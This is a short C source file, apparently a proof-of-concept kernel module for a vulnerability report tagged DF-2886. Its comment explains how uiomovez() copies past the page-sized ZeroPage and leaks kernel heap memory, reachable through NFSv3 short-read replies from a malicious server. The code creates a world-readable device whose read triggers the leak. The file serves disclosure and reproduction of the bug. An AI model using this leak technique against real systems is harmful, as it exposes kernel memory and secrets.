DF-2886 / uiozleak.c
/* * DF-2886 PoC: uiomovez() OOB read past ZeroPage -> kernel heap leak * * kern/kern_subr.c uiomovez() does: * cnt = iov->iov_len; if (cnt > n) cnt = n; // n up to 64KB+ * copyout(ZeroPage, iov->iov_base, cnt); // ZeroPage is PAGE_SIZE! * * ZeroPage is allocated as exactly PAGE_SIZE bytes (kern_slaballoc.c:316): * ZeroPage = kmem_slab_alloc(PAGE_SIZE, PAGE_SIZE, M_WAITOK|M_ZERO); * * Any cnt > PAGE_SIZE makes copyout read kernel heap past ZeroPage and * dump it into the user's iovec. The only in-tree caller is the NFSv3 * short-read zero-fill: nfs_vnops.c:1433 uiomovez(len - retlen, uiop) * with len = min(resid, nm_rsize) and default rsize = NFS_MAXDATA = 32768. * * This KLD reproduces the exact call the NFS client makes (retlen == 0): * a plain read() of the device turns into uiomovez(uio_resid, uio). */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/conf.h> #include <sys/uio.h> #include <sys/devfs.h> static int uioz_open(struct dev_open_args *ap) { return (0); } static int uioz_read(struct dev_read_args *ap) { struct uio *uio = ap->a_uio; int error; /* mirror nfs_vnops.c:1433 with a malicious server reply (retlen=0) */ error = uiomovez(uio->uio_resid, uio); return (error); } static struct dev_ops uioz_ops = { { "uioz", 0, 0 }, .d_open = uioz_open, .d_read = uioz_read, }; static cdev_t uioz_dev; static int uioz_modev(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: uioz_dev = make_dev(&uioz_ops, 0, UID_ROOT, GID_WHEEL, 0666, "uioz"); kprintf("uioz: loaded, read /dev/uioz to trigger uiomovez\n"); break; case MOD_UNLOAD: if (uioz_dev != NULL) destroy_dev(uioz_dev); break; default: break; } return (0); } DEV_MODULE(uioz, uioz_modev, NULL); |